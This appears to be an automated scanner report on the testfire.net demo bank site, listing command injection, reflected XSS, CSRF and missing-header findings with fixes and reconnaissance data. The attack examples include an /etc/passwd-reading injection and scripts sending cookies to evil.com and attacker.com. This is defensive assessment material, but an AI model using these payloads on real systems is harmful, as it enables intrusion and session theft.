

Target	http://testfire.net	Scan ID	#1
Date	2026-06-03 05:47:12	Status	Complete
Total	17 vulnerabilities	Risk	CRITICAL

CRITICAL	HIGH	MEDIUM	LOW
1	4	6	6

Executive Summary

Executive Summary — <http://testfire.net>

The security assessment identified 17 vulnerabilities across this web application: 1 Critical, 4 High, 6 Medium, and 6 Low severity findings. The overall security posture requires immediate attention.

Critical and High severity findings pose immediate risk to the application and its users. SQL Injection vulnerabilities could allow attackers to access or destroy the entire database. XSS vulnerabilities enable attackers to hijack user sessions and steal credentials. Command injection findings indicate potential for full server compromise.

Recommended immediate actions: (1) Fix all SQL queries to use parameterised statements — this is the highest priority. (2) Implement output encoding for all user-supplied data rendered in HTML pages. (3) Add missing security headers including Content-Security-Policy and HSTS to harden the application against common attacks.

Vulnerability Findings

1. Command Injection (Time-Based Blind)		Critical
URL	<code>http://testfire.net/search.jsp</code>	
Parameter	query	
Severity	Critical	
Payload	<code>; Start-Sleep -s 4</code>	
Description	Blind command injection in 'query' via GET. Server delayed 6.6s (baseline: 0.0s) with sleep payload. OS command executed successfully — full RCE likely possible.	

HOW TO FIX	
1	NEVER pass user input to OS commands or shell functions
2	Use language-native APIs instead of shell commands (os.listdir() not 'ls')
3	If shell is unavoidable, use subprocess with shell=False and a fixed argument list
4	Whitelist allowed input characters using strict regex validation
5	Run the application with minimal OS privileges

AI ANALYSIS	
Risk	Command injection allows attackers to execute arbitrary OS commands on the server by injecting shell metacharacters into user-supplied input. This gives attackers full control over the server — Remote Code Execution (RCE).
Attack	<i>Attacker sends <code>'; cat /etc/passwd; whoami</code> in an input field, causing the server to execute the command and return sensitive system information.</i>
Meta	Reference: CWE-78 CVSS: 9.8

2. Missing Header: Content-Security-Policy		High
URL	http://testfire.net	
Parameter	Content-Security-Policy	
Severity	High	
Description	CSP header missing. Without CSP, XSS attacks are easier to execute as browsers will execute any inline scripts.	

HOW TO FIX	
1	Add header: Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'
2	Remove all inline scripts and event handlers from HTML — move to external .js files
3	Use nonces or hashes for any required inline scripts
4	Test CSP with report-only mode first: Content-Security-Policy-Report-Only
5	Use CSP evaluator tool (csp-evaluator.withgoogle.com) to verify policy strength

AI ANALYSIS	
Risk	Without CSP, browsers execute any script on the page — making XSS attacks trivially easy. Attackers can inject scripts that steal cookies, redirect users, or log keystrokes.
Attack	<i>Attacker injects <script>fetch('https://evil.com?c='+document.cookie)</script> via XSS — without CSP, browser executes it and sends session cookies to attacker.</i>
Meta	Reference: CWE-693 CVSS: 6.1

3. Insecure Protocol (HTTP)		High
URL	http://testfire.net	
Parameter	Protocol	
Severity	High	
Description	Site uses HTTP instead of HTTPS. All data transmitted in plaintext — vulnerable to interception and MITM attacks.	

HOW TO FIX	
1	Obtain and install a TLS certificate (free from Let's Encrypt)
2	Configure web server to redirect all HTTP port 80 to HTTPS port 443
3	Enable HTTP Strict Transport Security HSTS header after migration
4	Update all internal links and resources to use HTTPS URLs
5	Verify TLS configuration using SSL Labs ssllabs.com/ssltest

AI ANALYSIS	
Risk	HTTP transmits all data in plaintext. Credentials, session tokens, and personal data are visible to anyone monitoring the network.
Attack	<i>User logs in on coffee shop WiFi over HTTP. Attacker running Wireshark captures the POST request containing username and password in cleartext.</i>
Meta	Reference: CWE-319 CVSS: 7.4

4. Cross-Site Scripting (XSS)		High
URL	http://testfire.net/search.jsp	
Parameter	query	
Severity	High	
Payload	<script>/*VX87632A222A79*/alert(1)</script>	
Description	Reflected XSS in param 'query' via GET. Context: Inside <script> block. Confidence: 100%. Payload type: html_script.	

HOW TO FIX	
1	HTML-encode all user-supplied output using htmlspecialchars() or your template engine's auto-escaping
2	Implement a strict Content-Security-Policy (CSP) header
3	Set HttpOnly and Secure flags on all session cookies
4	Validate and sanitise input on both client and server side
5	Use modern frameworks (React, Angular) that escape by default

AI ANALYSIS	
Risk	XSS allows attackers to inject malicious JavaScript into web pages viewed by other users. This enables session hijacking, credential theft, keylogging, and performing actions on behalf of victims without their knowledge.
Attack	<i>Attacker posts a comment containing <script>document.location='https://attacker.com/steal?c='+document.cookie</script>, stealing session tokens of every user who views the comment.</i>
Meta	Reference: CWE-79 CVSS: 7.2

5. Cross-Site Scripting (XSS)		High
URL	http://testfire.net/sendFeedback	
Parameter	name	
Severity	High	
Payload	<script>/*VX5C72155D7754*/alert(1)</script>	
Description	Reflected XSS in param 'name' via POST. Context: Inside <script> block. Confidence: 100%. Payload type: html_script.	

HOW TO FIX	
1	HTML-encode all user-supplied output using htmlspecialchars() or your template engine's auto-escaping
2	Implement a strict Content-Security-Policy (CSP) header
3	Set HttpOnly and Secure flags on all session cookies
4	Validate and sanitise input on both client and server side
5	Use modern frameworks (React, Angular) that escape by default

AI ANALYSIS	
Risk	XSS allows attackers to inject malicious JavaScript into web pages viewed by other users. This enables session hijacking, credential theft, keylogging, and performing actions on behalf of victims without their knowledge.
Attack	<i>Attacker posts a comment containing <script>document.location='https://attacker.com/steal?c='+document.cookie</script>, stealing session tokens of every user who views the comment.</i>
Meta	Reference: CWE-79 CVSS: 7.2

6. Missing Header: Strict-Transport-Security		Medium
URL	http://testfire.net	
Parameter	Strict-Transport-Security	
Severity	Medium	
Description	HSTS missing. Site vulnerable to SSL-stripping attacks and protocol downgrade attacks.	

HOW TO FIX	
1	Add header: Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
2	Ensure your site works fully over HTTPS before adding HSTS
3	Start with short max-age (300s) then increase to 31536000 after testing
4	Submit to HSTS preload list at hstspreload.org for maximum protection
5	Redirect all HTTP traffic to HTTPS at web server level

AI ANALYSIS	
Risk	Without HSTS, attackers can perform SSL-stripping attacks — downgrading HTTPS connections to HTTP and intercepting all traffic including passwords and session tokens.
Attack	<i>Attacker on same WiFi intercepts user's HTTP request to login page, serves fake HTTP version, and captures credentials before user notices no padlock icon.</i>
Meta	Reference: CWE-319 CVSS: 5.9

7. Missing Header: X-Frame-Options		Medium
URL	http://testfire.net	
Parameter	X-Frame-Options	
Severity	Medium	
Description	X-Frame-Options missing. Site may be embedded in iframes — vulnerable to Clickjacking.	

HOW TO FIX	
1	Add header: X-Frame-Options: DENY (prevents all framing)
2	Or use: X-Frame-Options: SAMEORIGIN (allows framing from same domain only)
3	For modern browsers, prefer CSP: frame-ancestors 'none' instead
4	Test that your site does not break any legitimate iframe usage
5	Apply to all pages, not just the homepage

AI ANALYSIS	
Risk	Without X-Frame-Options, attackers can embed your site in an invisible iframe and trick users into clicking buttons they cannot see — performing actions on your site unknowingly (Clickjacking).
Attack	<i>Attacker overlays your bank's transfer button with an invisible iframe on their gaming site. Users click 'Play Game' but actually click 'Confirm Transfer' on your bank site.</i>
Meta	Reference: CWE-1021 CVSS: 4.3

8. Insecure Cookie: JSESSIONID		Medium
URL	http://testfire.net	
Parameter	JSESSIONID	
Severity	Medium	
Description	Cookie 'JSESSIONID' has security issues: missing Secure flag — sent over HTTP.	

HOW TO FIX	
1	Add Secure flag: cookie only sent over HTTPS connections
2	Add HttpOnly flag: prevents JavaScript from accessing the cookie
3	Add SameSite=Strict: prevents cookie being sent in cross-site requests
4	Set appropriate expiry — avoid persistent cookies for sensitive sessions
5	Regenerate session ID after authentication to prevent session fixation

AI ANALYSIS	
Risk	Session cookies without Secure and HttpOnly flags can be stolen via network interception or JavaScript injection. Attackers who steal session cookies gain complete account access without needing the password.
Attack	User on public WiFi connects to HTTP site — attacker intercepts network traffic and captures session cookie. Attacker replays cookie to impersonate the user.
Meta	Reference: CWE-614 CVSS: 5.9

9. Cross-Site Request Forgery (CSRF)		Medium
URL	http://testfire.net/doLogin	
Parameter	csrf_token	
Severity	Medium	
Description	CSRF vulnerability in POST form at 'http://testfire.net/doLogin'. No CSRF token found in form inputs. Form performs state-changing operation. Attacker can craft a page that submits this form from any website.	

HOW TO FIX	
1	Add a unique CSRF token to every state-changing form
2	Validate the CSRF token server-side on every POST/PUT/DELETE request
3	Set SameSite=Strict or SameSite=Lax on all session cookies
4	Validate the Origin and Referer headers server-side
5	Use the Double Submit Cookie pattern as defense-in-depth

AI ANALYSIS	
Risk	CSRF tricks authenticated users into unknowingly submitting malicious requests. Attackers can perform any action the victim can perform — changing passwords, making transactions, deleting data — without the victim's knowledge.
Attack	<i>Attacker emails victim a link to evil.com which contains a hidden form that auto-submits to bank.com/transfer?amount=10000&to=attacker, executing a transfer using the victim's session.</i>
Meta	Reference: CWE-352 CVSS: 8.0

10. Cross-Site Request Forgery (CSRF)		Medium
URL	http://testfire.net/doSubscribe	
Parameter	csrf_token	
Severity	Medium	
Description	CSRF vulnerability in POST form at 'http://testfire.net/doSubscribe'. No CSRF token found in form inputs. Form performs state-changing operation. Attacker can craft a page that submits this form from any website.	

HOW TO FIX	
1	Add a unique CSRF token to every state-changing form
2	Validate the CSRF token server-side on every POST/PUT/DELETE request
3	Set SameSite=Strict or SameSite=Lax on all session cookies
4	Validate the Origin and Referer headers server-side
5	Use the Double Submit Cookie pattern as defense-in-depth

AI ANALYSIS	
Risk	CSRF tricks authenticated users into unknowingly submitting malicious requests. Attackers can perform any action the victim can perform — changing passwords, making transactions, deleting data — without the victim's knowledge.
Attack	<i>Attacker emails victim a link to evil.com which contains a hidden form that auto-submits to bank.com/transfer?amount=10000&to=attacker, executing a transfer using the victim's session.</i>
Meta	Reference: CWE-352 CVSS: 8.0

11. Cross-Site Request Forgery (CSRF)		Medium
URL	http://testfire.net/sendFeedback	
Parameter	csrf_token	
Severity	Medium	
Description	CSRF vulnerability in POST form at 'http://testfire.net/sendFeedback'. No CSRF token found in form inputs. Form performs state-changing operation. Attacker can craft a page that submits this form from any website.	

HOW TO FIX	
1	Add a unique CSRF token to every state-changing form
2	Validate the CSRF token server-side on every POST/PUT/DELETE request
3	Set SameSite=Strict or SameSite=Lax on all session cookies
4	Validate the Origin and Referer headers server-side
5	Use the Double Submit Cookie pattern as defense-in-depth

AI ANALYSIS	
Risk	CSRF tricks authenticated users into unknowingly submitting malicious requests. Attackers can perform any action the victim can perform — changing passwords, making transactions, deleting data — without the victim's knowledge.
Attack	<i>Attacker emails victim a link to evil.com which contains a hidden form that auto-submits to bank.com/transfer?amount=10000&to=attacker, executing a transfer using the victim's session.</i>
Meta	Reference: CWE-352 CVSS: 8.0

12. Missing Header: X-Content-Type-Options		Low
URL	http://testfire.net	
Parameter	X-Content-Type-Options	
Severity	Low	
Description	X-Content-Type-Options missing. Browsers may MIME-sniff responses, enabling content-type attacks.	

HOW TO FIX	
1	Add header: X-Content-Type-Options: nosniff
2	Ensure all resources are served with correct Content-Type headers
3	Validate file types server-side — never trust user-supplied MIME types
4	Apply to all responses including API endpoints
5	This is a one-line fix with zero side effects

AI ANALYSIS	
Risk	Without this header, browsers may MIME-sniff responses and execute files as different types than declared — allowing content-type confusion attacks that bypass security controls.
Attack	<i>Attacker uploads a file named image.jpg containing JavaScript. Without nosniff, browser detects script content and executes it, bypassing the upload restriction.</i>
Meta	Reference: CWE-430 CVSS: 3.7

13. Missing Header: Referrer-Policy		Low
URL	http://testfire.net	
Parameter	Referrer-Policy	
Severity	Low	
Description	Referrer-Policy missing. Full URLs may leak in Referer header to third parties.	

HOW TO FIX	
1	Add header: Referrer-Policy: strict-origin-when-cross-origin
2	For maximum privacy use: Referrer-Policy: no-referrer
3	Never include sensitive data (tokens, IDs) in URLs
4	Apply consistently across all pages
5	Test that analytics and tracking still work after applying policy

AI ANALYSIS	
Risk	Without Referrer-Policy, the full URL (including query parameters with sensitive data like search terms, user IDs, or tokens) is sent to third parties via the Referer header.
Attack	User on https://bank.com/account?token=secret123 clicks an external link. The full URL including token is sent to the external site via Referer header — token exposed.
Meta	Reference: CWE-116 CVSS: 3.7

14. Missing Header: Permissions-Policy		Low
URL	http://testfire.net	
Parameter	Permissions-Policy	
Severity	Low	
Description	Permissions-Policy missing. Browser features (camera, mic, geolocation) are unrestricted.	

HOW TO FIX	
1	Add header: Permissions-Policy: camera=(), microphone=(), geolocation=()
2	Only enable features explicitly needed: Permissions-Policy: camera=(self)
3	Review all third-party scripts and restrict their feature access
4	Use Feature-Policy for older browser compatibility
5	Test that legitimate features still work after applying policy

AI ANALYSIS	
Risk	Without Permissions-Policy, malicious scripts (via XSS or third-party code) can access powerful browser APIs like camera, microphone, and geolocation without explicit user permission.
Attack	<i>XSS payload activates microphone via navigator.mediaDevices.getUserMedia() and streams audio to attacker's server — possible because no Permissions-Policy restricts microphone access.</i>
Meta	Reference: CWE-693 CVSS: 3.7

15. Missing Header: X-XSS-Protection		Low
URL	http://testfire.net	
Parameter	X-XSS-Protection	
Severity	Low	
Description	X-XSS-Protection missing. Legacy XSS filter not enabled for older browsers.	

HOW TO FIX	
1	Add header: X-XSS-Protection: 1; mode=block
2	Note: this is a legacy header — modern browsers use CSP instead
3	Prioritize implementing Content-Security-Policy for real XSS protection
4	Apply to all HTML responses
5	This is a simple one-line addition

AI ANALYSIS	
Risk	Without X-XSS-Protection, older browsers (IE, older Chrome) do not activate their built-in XSS filter, missing an additional layer of protection against reflected XSS attacks.
Attack	<i>Reflected XSS in IE browser executes because the browser's built-in XSS filter is not enabled — a header would have blocked it automatically.</i>
Meta	Reference: CWE-79 CVSS: 3.7

16. Missing Header: Cache-Control		Low
URL	http://testfire.net	
Parameter	Cache-Control	
Severity	Low	
Description	Cache-Control not set. Sensitive pages may be cached by browsers or proxies.	

HOW TO FIX	
1	Add: Cache-Control: no-store, no-cache, must-revalidate for all authenticated pages
2	Also add: Pragma: no-cache for HTTP/1.0 compatibility
3	For static assets (CSS, JS, images) use: Cache-Control: public, max-age=31536000
4	Never cache pages containing sensitive user data or authentication tokens
5	Test with browser DevTools to verify cache behavior

AI ANALYSIS	
Risk	Without proper cache headers, browsers and proxies cache sensitive pages. Other users of a shared computer or compromised proxy can access cached authenticated pages and data.
Attack	<i>User logs into banking app on a public computer. Without no-store, browser caches the account page. Next user presses Back button and sees the previous user's account details.</i>
Meta	Reference: CWE-524 CVSS: 3.7

17. Server Version Disclosure		Low
URL	http://testfire.net	
Parameter	Server	
Severity	Low	
Description	Server header reveals version: 'Apache-Coyote/1.1'. Attackers can target known CVEs for this exact version.	

HOW TO FIX	
1	Apache: Set ServerTokens Prod and ServerSignature Off in httpd.conf
2	Nginx: Set server_tokens off in nginx.conf
3	Remove X-Powered-By header completely
4	IIS: Remove Server header using URL Rewrite module
5	Keep all server software updated regardless of version disclosure

AI ANALYSIS	
Risk	Exposing server version helps attackers identify known CVEs for that exact version and launch targeted exploits without manual probing.
Attack	<i>Server reveals Apache/2.4.49 — attacker looks up CVE-2021-41773 path traversal RCE in that version and launches targeted attack immediately.</i>
Meta	Reference: CWE-200 CVSS: 3.7

Reconnaissance Results

Type	Value	Details
Subdomain	demo.testfire.net	HTTP 200
Subdomain	ftp.testfire.net	HTTP 200
Subdomain	www.testfire.net	HTTP 200
Open Port	80/HTTP	Risk: Info HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: JSES
Open Port	443/HTTPS	Risk: Info P
Open Port	8080/HTTP-Alt	Risk: Info HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: JSES
IP Address	65.61.137.117	Resolved from testfire.net
Technology	Apache	Server / Framework High
Technology	Java	Backend High
Web Server	Apache-Coyote/1.1	From Server header

Crawl Statistics

Pages Crawled	10	Forms Found	13
URLs with Params	0	Max Depth	3